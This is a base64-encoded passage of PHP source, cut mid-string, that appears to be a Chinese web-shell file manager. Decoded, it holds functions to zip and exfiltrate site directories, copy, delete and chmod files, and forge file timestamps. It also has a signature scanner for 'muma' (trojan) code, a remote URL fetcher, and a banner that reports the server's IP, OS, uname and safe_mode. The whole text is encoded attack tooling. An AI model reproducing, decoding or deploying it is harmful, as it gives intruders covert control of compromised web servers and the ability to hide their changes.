9IHBhY2soJ1YnLCAkY19sZW4pOw0KICAgICAgICAkZGlyc3RyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCiAgICAgICAgJGRpcnN0ciAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkZGlyc3RyIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRkaXJzdHIgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGRpcnN0ciAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkZGlyc3RyIC49IHBhY2soJ1YnLCAzMiApOw0KICAgICAgICAkZGlyc3RyIC49IHBhY2soJ1YnLCR0aGlzLT5kYXRhc3RyX2xlbiApOw0KICAgICAgICAkZGlyc3RyIC49ICRuYW1lOw0KDQoJCSR0aGlzLT5kaXJzdHIgLj0gJGRpcnN0cjsNCg0KCQkkdGhpcyAtPiBmaWxlX2NvdW50ICsrOw0KCQkkdGhpcyAtPiBkaXJzdHJfbGVuICs9IHN0cmxlbigkZGlyc3RyKTsNCgkJJHRoaXMgLT4gZGF0YXN0cl9sZW4gKz0gJG15X2RhdGFzdHJfbGVuOw0KICAgIH0NCg0KCWZ1bmN0aW9uIGFkZGRpcigkbmFtZSl7DQoJCSRuYW1lID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkbmFtZSk7DQoJCSRkYXRhc3RyID0gIlx4NTBceDRiXHgwM1x4MDRceDBhXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsNCg0KCQkkZGF0YXN0ciAuPSBwYWNrKCJWIiwwKS5wYWNrKCJWIiwwKS5wYWNrKCJWIiwwKS5wYWNrKCJ2Iiwgc3RybGVuKCRuYW1lKSApOw0KCQkkZGF0YXN0ciAuPSBwYWNrKCJ2IiwgMCApLiRuYW1lLnBhY2soIlYiLCAwKS5wYWNrKCJWIiwgMCkucGFjaygiViIsIDApOw0KDQoJCWZ3cml0ZSgkdGhpcy0+ZnAsJGRhdGFzdHIpOw0KCQkkbXlfZGF0YXN0cl9sZW4gPSBzdHJsZW4oJGRhdGFzdHIpOw0KCQl1bnNldCgkZGF0YXN0cik7DQoNCgkJJGRpcnN0ciA9ICJceDUwXHg0Ylx4MDFceDAyXHgwMFx4MDBceDBhXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsNCgkJJGRpcnN0ciAuPSBwYWNrKCJWIiwwKS5wYWNrKCJWIiwwKS5wYWNrKCJWIiwwKS5wYWNrKCJ2Iiwgc3RybGVuKCRuYW1lKSApOw0KCQkkZGlyc3RyIC49IHBhY2soInYiLCAwICkucGFjaygidiIsIDAgKS5wYWNrKCJ2IiwgMCApLnBhY2soInYiLCAwICk7DQoJCSRkaXJzdHIgLj0gcGFjaygiViIsIDE2ICkucGFjaygiViIsJHRoaXMtPmRhdGFzdHJfbGVuKS4kbmFtZTsNCg0KCQkkdGhpcy0+ZGlyc3RyIC49ICRkaXJzdHI7DQoNCgkJJHRoaXMgLT4gZmlsZV9jb3VudCArKzsNCgkJJHRoaXMgLT4gZGlyc3RyX2xlbiArPSBzdHJsZW4oJGRpcnN0cik7DQoJCSR0aGlzIC0+IGRhdGFzdHJfbGVuICs9ICRteV9kYXRhc3RyX2xlbjsNCgl9DQoNCg0KCWZ1bmN0aW9uIGNyZWF0ZWZpbGUoKXsNCgkJJGVuZHN0ciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCIgLg0KCQkJCQlwYWNrKCd2JywgJHRoaXMgLT4gZmlsZV9jb3VudCkgLg0KCQkJCQlwYWNrKCd2JywgJHRoaXMgLT4gZmlsZV9jb3VudCkgLg0KCQkJCQlwYWNrKCdWJywgJHRoaXMgLT4gZGlyc3RyX2xlbikgLg0KCQkJCQlwYWNrKCdWJywgJHRoaXMgLT4gZGF0YXN0cl9sZW4pIC4NCgkJCQkJIlx4MDBceDAwIjsNCg0KCQlmd3JpdGUoJHRoaXMtPmZwLCR0aGlzLT5kaXJzdHIuJGVuZHN0cik7DQoJCWZjbG9zZSgkdGhpcy0+ZnApOw0KCX0NCiB9DQoNCmZ1bmN0aW9uIEZpbGVfQWN0KCRhcnJheSwkYWN0YWxsLCRpbnZlciwkUkVBTF9ESVIpDQp7DQoJaWYoKCRjb3VudCA9IGNvdW50KCRhcnJheSkpID09IDApIHJldHVybiAnx+vRodTxzsS8/ic7DQoJaWYoJGFjdGFsbCA9PSAnZScpDQoJew0KICAgICBmdW5jdGlvbiBsaXN0ZmlsZXMoJGRpcj0iLiIsJGZhaXN1blpJUCwkbXlkaXIpew0KCQkkc3ViX2ZpbGVfbnVtID0gMDsNCgkJaWYoaXNfZmlsZSgkbXlkaXIuIiRkaXIiKSl7DQoJCSAgaWYocmVhbHBhdGgoJGZhaXN1blpJUCAtPmd6ZmlsZW5hbWUpIT1yZWFscGF0aCgkbXlkaXIuIiRkaXIiKSl7DQoJCQkkZmFpc3VuWklQIC0+IGFkZGZpbGUoZmlsZV9nZXRfY29udGVudHMoJG15ZGlyLiRkaXIpLCIkZGlyIik7DQoJCQlyZXR1cm4gMTsNCgkJICB9DQoJCQlyZXR1cm4gMDsNCgkJfQ0KCQkNCgkJJGhhbmRsZT1vcGVuZGlyKCRteWRpci4iJGRpciIpOw0KCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSB7DQoJCSAgIGlmKCRmaWxlPT0iLiJ8fCRmaWxlPT0iLi4iKWNvbnRpbnVlOw0KCQkgICBpZihpc19kaXIoJG15ZGlyLiIkZGlyLyRmaWxlIikpew0KCQkJICRzdWJfZmlsZV9udW0gKz0gbGlzdGZpbGVzKCIkZGlyLyRmaWxlIiwkZmFpc3VuWklQLCRteWRpcik7DQoJCSAgIH0NCgkJICAgZWxzZSB7DQoJCSAgIAkgICBpZihyZWFscGF0aCgkZmFpc3VuWklQIC0+Z3pmaWxlbmFtZSkhPXJlYWxwYXRoKCRteWRpci4iJGRpci8kZmlsZSIpKXsNCgkJCSAgICAgJGZhaXN1blpJUCAtPiBhZGRmaWxlKGZpbGVfZ2V0X2NvbnRlbnRzKCRteWRpci4kZGlyLiIvIi4kZmlsZSksIiRkaXIvJGZpbGUiKTsNCgkJCQkgJHN1Yl9maWxlX251bSArKzsNCgkJCQl9DQoJCSAgIH0NCgkJfQ0KCQljbG9zZWRpcigkaGFuZGxlKTsNCgkJaWYoISRzdWJfZmlsZV9udW0pICRmYWlzdW5aSVAgLT4gYWRkZmlsZSgiIiwiJGRpci8iKTsNCgkJcmV0dXJuICRzdWJfZmlsZV9udW07DQoJfQ0KDQogICBmdW5jdGlvbiBudW1fYml0dW5pdCgkbnVtKXsNCgkgICRiaXR1bml0PWFycmF5KCcgQicsJyBLQicsJyBNQicsJyBHQicpOw0KCSAgZm9yKCRrZXk9MDska2V5PGNvdW50KCRiaXR1bml0KTska2V5Kyspew0KCQlpZigkbnVtPj1wb3coMiwxMCoka2V5KS0xKXsgLy8xMDIzQiC74c/Uyr7OqiAxS0INCgkJICAkbnVtX2JpdHVuaXRfc3RyPShjZWlsKCRudW0vcG93KDIsMTAqJGtleSkqMTAwKS8xMDApLiIgJGJpdHVuaXRbJGtleV0iOw0KCQl9DQoJICB9DQoJICByZXR1cm4gJG51bV9iaXR1bml0X3N0cjsNCiAgIH0NCg0KCSRteWRpcj0kUkVBTF9ESVIuJy8nOw0KCWlmKGlzX2FycmF5KCRhcnJheSkpew0KCQkkZmFpc3VuWklQID0gbmV3IFBIUHppcDsNCgkJaWYoJGZhaXN1blpJUCAtPiBzdGFydGZpbGUoIiRpbnZlciIpKXsNCgkJCSRmaWxlbnVtID0gMDsNCgkJCWZvcmVhY2goJGFycmF5IGFzICRmaWxlKXsNCgkJCQkkZmlsZW51bSArPSBsaXN0ZmlsZXMoJGZpbGUsJGZhaXN1blpJUCwkbXlkaXIpOw0KCQkJfQ0KCQkJJGZhaXN1blpJUCAtPiBjcmVhdGVmaWxlKCk7DQoJCQlyZXR1cm4gItG5y/XN6rPJLLmyzO280yAkZmlsZW51bSC49s7EvP4uPGJyPjxhIGhyZWY9JyRpbnZlcic+teO798/C1NggJGludmVyICgiLm51bV9iaXR1bml0KGZpbGVzaXplKCIkaW52ZXIiKSkuIik8L2E+IjsNCgkJfWVsc2V7DQoJCQlyZXR1cm4gIiRpbnZlciCyu8Tc0LTI6yzH67zssunCt762u/LIqM/eyse38dX9yLcuPGJyPiI7DQoJCX0NCgl9ZWxzZXsNCgkJcmV0dXJuICLDu9PQ0aHU8bXEzsS8/rvyxL/CvC48YnI+IjsNCgl9DQoNCg0KCX0NCgkkaSA9IDA7DQoJd2hpbGUoJGkgPCAkY291bnQpDQoJew0KCQkkYXJyYXlbJGldID0gdXJsZGVjb2RlKCRhcnJheVskaV0pOw0KCQlzd2l0Y2goJGFjdGFsbCkNCgkJew0KCQkJY2FzZSAiYSIgOiAkaW52ZXIgPSB1cmxkZWNvZGUoJGludmVyKTsgaWYoIWlzX2RpcigkaW52ZXIpKSByZXR1cm4gJ8K3vra07c7zJzsgJGZpbGVuYW1lID0gYXJyYXlfcG9wKGV4cGxvZGUoJy8nLCRhcnJheVskaV0pKTsgQGNvcHkoJGFycmF5WyRpXSxGaWxlX1N0cigkaW52ZXIuJy8nLiRmaWxlbmFtZSkpOyAkbXNnID0gJ7i01sa1vScuJGludmVyLifEv8K8JzsgYnJlYWs7DQoJCQljYXNlICJiIiA6IGlmKCFAdW5saW5rKCRhcnJheVskaV0pKXtAY2htb2QoJGZpbGVuYW1lLDA2NjYpO0B1bmxpbmsoJGFycmF5WyRpXSk7fSAkbXNnID0gJ8m+s/0nOyBicmVhazsNCgkJCWNhc2UgImMiIDogaWYoIWVyZWdpKCJeWzAtN117NH0kIiwkaW52ZXIpKSByZXR1cm4gJ8r00NTWtbTtzvMnOyAkbmV3bW9kZSA9IGJhc2VfY29udmVydCgkaW52ZXIsOCwxMCk7IEBjaG1vZCgkYXJyYXlbJGldLCRuZXdtb2RlKTsgJG1zZyA9ICfK9NDU0N64xM6qJy4kaW52ZXI7IGJyZWFrOw0KCQkJY2FzZSAiZCIgOiBAdG91Y2goJGFycmF5WyRpXSxzdHJ0b3RpbWUoJGludmVyKSk7ICRtc2cgPSAn0N64xMqxvOTOqicuJGludmVyOyBicmVhazsNCgkJfQ0KCQkkaSsrOw0KCX0NCglyZXR1cm4gJ8v50aHOxLz+Jy4kbXNnLifN6rHPJzsNCn0NCg0KZnVuY3Rpb24gc3RhcnRfdW56aXAoJHRtcF9uYW1lLCRuZXdfbmFtZSwkdG9kaXI9J3ppcGZpbGUnKXsNCiR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpIDsNCmlmICgkemlwLT5vcGVuKCR0bXBfbmFtZSkgIT09IFRSVUUpIHsNCmVjaG8gJ7Gnx7ijodG5y/Ww/M7et6i08r+qu/LL8Lu1JzsNCn0NCiR6aXAtPmV4dHJhY3RUbygkdG9kaXIpOw0KJHppcC0+Y2xvc2UoKTsNCmVjaG8gJ73i0bnN6rHPo6EmbmJzcDsmbmJzcDsmbmJzcDs8YSBocmVmPSI/ZWFudmVyPW1haW4mcGF0aD0nLnVybGVuY29kZSgkdG9kaXIpLiciPr34yOu94tG5xL/CvDwvYT4mbmJzcDsmbmJzcDsmbmJzcDs8YSBocmVmPSJqYXZhc2NyaXB0Omhpc3RvcnkuZ28oLTEpOyI+t7W72DwvYT4nOw0KfQ0KDQpmdW5jdGlvbiBtdW1hKCRmaWxlY29kZSwkZmlsZXR5cGUpew0KCSRkaW0gPSBhcnJheSgNCgkicGhwIiA9PiBhcnJheSgiZXZhbCgiLCJleGVjKCIpLA0KCSJhc3AiID0+IGFycmF5KCJXU2NyaXB0LlNoZWxsIiwiZXhlY3V0ZSgiLCJjcmVhdGV0ZXh0ZmlsZSgiKSwNCgkiYXNweCIgPT4gYXJyYXkoIlJlc3BvbnNlLldyaXRlKGV2YWwoIiwiUnVuQ01EKCIsIkNyZWF0ZVRleHQoKSIpLA0KCSJqc3AiID0+IGFycmF5KCJydW50aW1lLmV4ZWMoIikNCgkpOw0KCWZvcmVhY2goJGRpbVskZmlsZXR5cGVdIGFzICRjb2RlKXsNCgkJaWYoc3RyaXN0cigkZmlsZWNvZGUsJGNvZGUpKSByZXR1cm4gdHJ1ZTsNCgl9DQp9DQoNCmZ1bmN0aW9uIGRlYnVnKCRmaWxlLCRmdHlwZSl7DQoJJHR5cGU9ZXhwbG9kZSgnfCcsJGZ0eXBlKTsNCglmb3JlYWNoKCR0eXBlIGFzICRpKXsNCgkJaWYoc3RyaXN0cigkZmlsZSwkaSkpCXJldHVybiB0cnVlOw0KCX0NCn0NCg0KLyotLS1zdHJpbmctLS0qLw0KDQpmdW5jdGlvbiBzdHJfcGF0aCgkcGF0aCl7DQoJcmV0dXJuIHN0cl9yZXBsYWNlKCcvLycsJy8nLCRwYXRoKTsNCn0NCg0KZnVuY3Rpb24gbXNnKCRtc2cpew0KCWRpZSgiPHNjcmlwdD53aW5kb3cuYWxlcnQoJyIuJG1zZy4iJyk7aGlzdG9yeS5nbygtMSk7PC9zY3JpcHQ+Iik7DQp9DQoNCmZ1bmN0aW9uIHVwcGF0aCgkbm93cGF0aCl7DQoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyxkaXJuYW1lKCRub3dwYXRoKSk7DQoJcmV0dXJuIHVybGVuY29kZSgkbm93cGF0aCk7DQp9DQoNCmZ1bmN0aW9uIHh4c3RyKCRrZXkpew0KCSR0ZW1wID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGtleSk7DQoJJHRlbXAgPSBzdHJfcmVwbGFjZSgiXFwiLCJcXFxcIiwkdGVtcCk7DQoJcmV0dXJuICR0ZW1wOw0KfQ0KDQovKi0tLWh0bWwtLS0qLw0KDQpmdW5jdGlvbiBodG1sX3RhKCR1cmwsJG5hbWUpew0KCWh0bWxfbigiPGEgaHJlZj1cIiR1cmxcIiB0YXJnZXQ9XCJfYmxhbmtcIj4kbmFtZTwvYT4iKTsNCn0NCg0KZnVuY3Rpb24gaHRtbF9hKCR1cmwsJG5hbWUsJHdoZXJlPScnKXsNCglodG1sX24oIjxhIGhyZWY9XCIkdXJsXCIgJHdoZXJlPiRuYW1lPC9hPiAiKTsNCn0NCg0KZnVuY3Rpb24gaHRtbF9pbWcoJHVybCl7DQoJaHRtbF9uKCI8aW1nIHNyYz1cIj9pbWc9JHVybFwiIGJvcmRlcj0wPiIpOw0KfQ0KDQpmdW5jdGlvbiBiYWNrKCl7DQoJaHRtbF9uKCI8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nt7W72Ccgb25jbGljaz0naGlzdG9yeS5iYWNrKCk7Jz4iKTsNCn0NCg0KZnVuY3Rpb24gaHRtbF9yYWRpbygkbmFtZWksJG5hbWV0LCR2MSwkdjIpew0KCWh0bWxfbignPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXR1cm4iIHZhbHVlPSInLiR2MS4nIiBjaGVja2VkPicuJG5hbWVpKTsNCglodG1sX24oJzxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmV0dXJuIiB2YWx1ZT0iJy4kdjIuJyI+Jy4kbmFtZXQuJzxicj48YnI+Jyk7DQp9DQoNCmZ1bmN0aW9uIGh0bWxfaW5wdXQoJHR5cGUsJG5hbWUsJHZhbHVlID0gJycsJHRleHQgPSAnJywkc2l6ZSA9ICcnLCRtb2RlID0gZmFsc2Upew0KCWlmKCRtb2RlKXsNCgkJaHRtbF9uKCI8aW5wdXQgdHlwZT1cIiR0eXBlXCIgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiBzaXplPVwiJHNpemVcIiBjaGVja2VkPiR0ZXh0Iik7DQoJfWVsc2V7DQoJCWh0bWxfbigiJHRleHQgPGlucHV0IHR5cGU9XCIkdHlwZVwiIG5hbWU9XCIkbmFtZVwiIHZhbHVlPVwiJHZhbHVlXCIgc2l6ZT1cIiRzaXplXCI+Iik7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBodG1sX2Jhc2UoKXsNCmh0bWxfbignZnVuY3Rpb24gYmFzZTY0ZW5jb2RlKHN0cil7DQoJdmFyIGJhc2U2NEVuY29kZUNoYXJzID0gIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8iOw0KICAgIHZhciBvdXQsIGksIGxlbjsNCiAgICB2YXIgYzEsIGMyLCBjMzsNCiAgICBsZW4gPSBzdHIubGVuZ3RoOw0KICAgIGkgPSAwOw0KICAgIG91dCA9ICIiOw0KICAgIHdoaWxlIChpIDwgbGVuKSB7DQogICAgICAgIGMxID0gc3RyLmNoYXJDb2RlQXQoaSsrKSAmIDB4ZmY7DQogICAgICAgIGlmIChpID09IGxlbikgew0KICAgICAgICAgICAgb3V0ICs9IGJhc2U2NEVuY29kZUNoYXJzLmNoYXJBdChjMSA+PiAyKTsNCiAgICAgICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoKGMxICYgMHgzKSA8PCA0KTsNCiAgICAgICAgICAgIG91dCArPSAiPT0iOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgYzIgPSBzdHIuY2hhckNvZGVBdChpKyspOw0KICAgICAgICBpZiAoaSA9PSBsZW4pIHsNCiAgICAgICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoYzEgPj4gMik7DQogICAgICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KCgoYzEgJiAweDMpIDw8IDQpIHwgKChjMiAmIDB4RjApID4+IDQpKTsNCiAgICAgICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoKGMyICYgMHhGKSA8PCAyKTsNCiAgICAgICAgICAgIG91dCArPSAiPSI7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICBjMyA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7DQogICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoYzEgPj4gMik7DQogICAgICAgIG91dCArPSBiYXNlNjRFbmNvZGVDaGFycy5jaGFyQXQoKChjMSAmIDB4MykgPDwgNCkgfCAoKGMyICYgMHhGMCkgPj4gNCkpOw0KICAgICAgICBvdXQgKz0gYmFzZTY0RW5jb2RlQ2hhcnMuY2hhckF0KCgoYzIgJiAweEYpIDw8IDIpIHwgKChjMyAmIDB4QzApID4+IDYpKTsNCiAgICAgICAgb3V0ICs9IGJhc2U2NEVuY29kZUNoYXJzLmNoYXJBdChjMyAmIDB4M0YpOw0KICAgIH0NCiAgICByZXR1cm4gb3V0Ow0KfQ0KZnVuY3Rpb24gdXRmMTZ0bzgoc3RyKSB7DQp2YXIgb3V0LCBpLCBsZW4sIGM7DQpvdXQgPSAiIjsNCmxlbiA9IHN0ci5sZW5ndGg7DQpmb3IoaSA9IDA7IGkgPCBsZW47IGkrKykgew0KYyA9IHN0ci5jaGFyQ29kZUF0KGkpOw0KaWYgKChjID49IDB4MDAwMSkgJiYgKGMgPD0gMHgwMDdGKSkgew0Kb3V0ICs9IHN0ci5jaGFyQXQoaSk7DQp9IGVsc2UgaWYgKGMgPiAweDA3RkYpIHsNCm91dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDB4RTAgfCAoKGMgPj4gMTIpICYgMHgwRikpOw0Kb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoMHg4MCB8ICgoYyA+PiA2KSAmIDB4M0YpKTsNCm91dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDB4ODAgfCAoKGMgPj4gMCkgJiAweDNGKSk7DQp9IGVsc2Ugew0Kb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoMHhDMCB8ICgoYyA+PiA2KSAmIDB4MUYpKTsNCm91dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDB4ODAgfCAoKGMgPj4gMCkgJiAweDNGKSk7DQp9DQp9DQpyZXR1cm4gb3V0Ow0KfQ0KZnVuY3Rpb24gdXRmOHRvMTYoc3RyKSB7DQogIHZhciBvdXQsIGksIGxlbiwgYzsNCiAgdmFyIGNoYXIyLCBjaGFyMzsNCiAgb3V0ID0gIiI7DQogIGxlbiA9IHN0ci5sZW5ndGg7DQogIGkgPSAwOw0KICB3aGlsZShpIDwgbGVuKSB7DQogICAgYyA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7DQogICAgc3dpdGNoKGMgPj4gNCkgew0KICAgICAgY2FzZSAwOiBjYXNlIDE6IGNhc2UgMjogY2FzZSAzOiBjYXNlIDQ6IGNhc2UgNTogY2FzZSA2OiBjYXNlIDc6DQogICAgICAgIG91dCArPSBzdHIuY2hhckF0KGktMSk7DQogICAgICAgIGJyZWFrOw0KICAgICAgY2FzZSAxMjogY2FzZSAxMzoNCiAgICAgICAgY2hhcjIgPSBzdHIuY2hhckNvZGVBdChpKyspOw0KICAgICAgICBvdXQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoKGMgJiAweDFGKSA8PCA2KSB8IChjaGFyMiAmIDB4M0YpKTsNCiAgICAgICAgYnJlYWs7DQogICAgICBjYXNlIDE0Og0KICAgICAgICBjaGFyMiA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7DQogICAgICAgIGNoYXIzID0gc3RyLmNoYXJDb2RlQXQoaSsrKTsNCiAgICAgICAgb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKChjICYgMHgwRikgPDwgMTIpIHwNCiAgICAgICAgKChjaGFyMiAmIDB4M0YpIDw8IDYpIHwNCiAgICAgICAgKChjaGFyMyAmIDB4M0YpIDw8IDApKTsNCiAgICAgICAgYnJlYWs7DQogICAgfQ0KICB9DQogIHJldHVybiBvdXQ7DQp9DQonKTsNCn0NCg0KZnVuY3Rpb24gaHRtbF90ZXh0KCRuYW1lLCRjb2xzLCRyb3dzLCR2YWx1ZSA9ICcnKXsNCglodG1sX24oIjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCIkbmFtZVwiIENPTFM9XCIkY29sc1wiIFJPV1M9XCIkcm93c1wiID4kdmFsdWU8L3RleHRhcmVhPiIpOw0KfQ0KDQpmdW5jdGlvbiBodG1sX3NlbGVjdCgkYXJyYXksJG1vZGUgPSAnJywkY2hhbmdlID0gJycsJG5hbWUgPSAnY2xhc3MnKXsNCglodG1sX24oIjxzZWxlY3QgbmFtZT0kbmFtZSAkY2hhbmdlPiIpOw0KCWZvcmVhY2goJGFycmF5IGFzICRuYW1lID0+ICR2YWx1ZSl7DQoJCWlmKCRuYW1lID09ICRtb2RlKXsNCgkJCWh0bWxfbigiPG9wdGlvbiB2YWx1ZT1cIiRuYW1lXCIgc2VsZWN0ZWQ+JHZhbHVlPC9vcHRpb24+Iik7DQoJCX1lbHNlew0KCQkJaHRtbF9uKCI8b3B0aW9uIHZhbHVlPVwiJG5hbWVcIj4kdmFsdWU8L29wdGlvbj4iKTsNCgkJfQ0KCX0NCglodG1sX24oIjwvc2VsZWN0PiIpOw0KfQ0KDQpmdW5jdGlvbiBodG1sX2ZvbnQoJGNvbG9yLCRzaXplLCRuYW1lKXsNCglodG1sX24oIjxmb250IGNvbG9yPVwiJGNvbG9yXCIgc2l6ZT1cIiRzaXplXCI+JG5hbWU8L2ZvbnQ+Iik7DQp9DQoNCmZ1bmN0aW9uIEdldEh0bWwoJHVybCkNCnsNCiAgICAgICRjID0gJyc7DQogICAgICAkdXNlcmFnZW50ID0gJ01vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjIpJzsNCiAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJykpew0KICAgIAkkbGluayA9IHBhcnNlX3VybCgkdXJsKTsNCgkgICAgJHF1ZXJ5PSRsaW5rWydwYXRoJ10uJz8nLiRsaW5rWydxdWVyeSddOw0KCSAgICAkaG9zdD1zdHJ0b2xvd2VyKCRsaW5rWydob3N0J10pOw0KCSAgICAkcG9ydD0kbGlua1sncG9ydCddOw0KCSAgICBpZigkcG9ydD09IiIpeyRwb3J0PTgwO30NCgkgICAgJGZwID0gZnNvY2tvcGVuICgkaG9zdCwkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCAxMCk7DQoJICAgIGlmICgkZnApDQoJICAgICAgew0KCQkgICAgJG91dCA9ICJHRVQgL3skcXVlcnl9IEhUVFAvMS4wXHJcbiI7DQoJCSAgICAkb3V0IC49ICJIb3N0OiB7JGhvc3R9XHJcbiI7DQoJCSAgICAkb3V0IC49ICJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7IFdpbmRvd3MgTlQgNS4yKVxyXG4iOw0KCQkgICAgJG91dCAuPSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7DQoJCSAgICBmd3JpdGUoJGZwLCAkb3V0KTsNCgkJICAgICRpbmhlYWRlcj0xOw0KCQkgICAgd2hpbGUoIWZlb2YoJGZwKSkNCgkJICAgICAgICAgeyRsaW5lPWZnZXRzKCRmcCw0MDk2KTsNCgkJCSAgICAgIGlmKCRpbmhlYWRlcj09MCl7JGNvbnRlbnRzLj0kbGluZTt9DQoJCQkgICAgICBpZiAoJGluaGVhZGVyICYmKCRsaW5lPT0iXG4ifHwkbGluZT09IlxyXG4iKSl7JGluaGVhZGVyID0gMDt9DQoJCSAgICB9DQoJCSAgICBmY2xvc2UgKCRmcCk7DQoJCSAgICAkYz0gJGNvbnRlbnRzOw0KCSAgICAgIH0NCiAgICAgICAgfQ0KCQlpZihlbXB0eSgkYykgJiYgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfZXhlYycpKXsNCiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOw0KICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgICAgICAgICAgJGMgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICAgICAgfQ0KICAgICAgICBpZihlbXB0eSgkYykgJiYgaW5pX2dldCgnYWxsb3dfdXJsX2ZvcGVuJykpew0KICAgICAgICAgICAgJGMgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCiAgICAgICAgfQ0KCQlpZihlbXB0eSgkYykpew0KICAgICAgICAgICAgZWNobyAiZG9jdW1lbnQud3JpdGUoJzxESVYgc3R5bGU9XCdDVVJTT1I6dXJsKFwiJHVybFwiKVwnPicpOyI7DQogICAgICAgIH0NCgkJaWYoIWVtcHR5KCRjKSkNCgkJew0KICAgICAgICByZXR1cm4gJGM7DQoJCX0NCiB9DQoNCmZ1bmN0aW9uIGh0bWxfbWFpbigpDQp7DQoJDQogICAgaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgew0KICAgICAgICAkaHNhZmVtb2RlID0gIk9OICi/qsb0KSI7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJGhzYWZlbW9kZSA9ICJPRkYgKLnYsdUpIjsNCiAgICB9DQogICAgJFNlcnZlcl9JUCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOw0KICAgICRTZXJ2ZXJfT1MgPSBQSFBfT1M7DQogICAgJFNlcnZlcl9Tb2Z0ID0gJF9TRVJWRVJbIlNFUlZFUl9TT0ZUV0FSRSJdOw0KICAgICR3ZWJfc2VydmVyID0gcGhwX3VuYW1lKCk7DQogICAgJHRpdGxlID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdIC4gIi9NYW5hZ2VyIjsNCiAgICBodG1sX24oIjxodG1sPjx0aXRsZT4iIC4gJHRpdGxlIC4gIjwvdGl0bGU+PHRhYmxlIHdpZHRoPScxMDAlJz48dGQgYWxpZ249J2NlbnRlcic+PGI+sLLIq8Sjyr06eyRoc2FmZW1vZGV9LS0tLS17JFNlcnZlcl9JUH0tLS0tLXskU2VydmVyX09TfS0tLS0teyRTZXJ2ZXJfU29mdH0tLS0tLXskd2ViX3NlcnZlcn08L2I+PC90ZD48L3RhYmxlPiIpOw0KICAgIGh0bWxfbigiPHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9Jzk1LjclJyBib3JkZXI9MCBjZWxscGFkZGluZz0nMCcgY2VsbHNwYWNpbmc9JzAnPjx0cj48dGQgd2lkdGg9JzE3MCc+PGlmcmFtZSBuYW1lPSdsZWZ0JyBzcmM9Jz9lYW52ZXI9bGVmdCcgd2lkdGg9JzEwMCUnIGhlaWdodD0nMTAwJScgZnJhbWVib3JkZXI9JzAnPj